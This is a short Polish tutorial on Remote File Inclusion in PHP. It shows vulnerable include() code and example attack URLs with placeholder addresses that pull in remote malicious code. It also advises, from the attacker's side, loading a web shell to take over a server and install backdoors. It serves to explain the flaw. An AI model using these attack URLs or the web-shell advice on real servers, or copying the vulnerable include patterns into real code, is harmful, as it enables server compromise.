Remote File Inclusion
RFI to typ podatności często znajdywany na stronach stworzonych z użyciem PHP. Błąd ten pozwala atakującemu dołączyć zdalnie hostowany plik, zazwyczaj poprzez skrypt na serwerze. RFI jest możliwe, ponieważ to co wprowadza użytkownik nie jest odpowiednio filtrowane. Może to prowadzić na przykład do wyrzucenia zawartości pliku, ale w zależności od skali błędu możemy wykonać dowolny kod na serwerze.
Atak
Remote File Inclusion występuje wtedy, kiedy to co wprowadzi użytkownik nie jest poprawnie filtrowane lub oczyszczane. Następujące dane muszą zostać odpowiednio przygotowane przed przetworzeniem:
- Parametry URL
- Parametry GET i POST
- Nagłówki HTTP
- Ciasteczka
Korzystając z wartości parametrów zawartych w adresie (http://example.com/?page=ADRES_STRONY) serwer uzyskuje dostęp do zdalnego pliku zawartego w adresie URL i załącza złośliwy kod z tego pliku do aktualnie wykonywanej strony na serwerze. Skrypt ten może ukraść wrażliwe dane, przejąć serwer czy zainstalować backdoora.
Web Shells
Dostępne są w internecie web shelle. Kiedy odkryjesz podatność załącz któryś z nich. Przykładowy dość pokaźny zbiór znajdziesz tutaj. Zadaniem takiego narzędzia jest dostarczyć atakującemu panel do zarządzenia serwerem. Z ich pomocą możesz całkowicie przejąć system, uzyskać dostęp do komend systemowych, zainstalować backdoory itp.
Przykład
Użytkownik chce odwiedzić stronę. W przypadku, kiedy strona główna (index.php) przetwarza wartość parametru page jako
<?php include($_GET["page"]); ?>
Wtedy, jeśli użytkownik jako adres strony poda
http://example.com/?page=contact.php
serwer wykona contact.php i wyświetli jego zawartość na stronie głównej. Jak to wykorzystać? Zamiast contact.php wstawić adres do naszego złośliwego kodu.
http://example.com/?page=ADRES_STRONY_RFI
Przykład 2
if($error==1){ include($err.'.php'); }
W tym przypadku atak wygląda następująco
http://example.com/index.php?error=1&err=ADRES_STRONY_RFI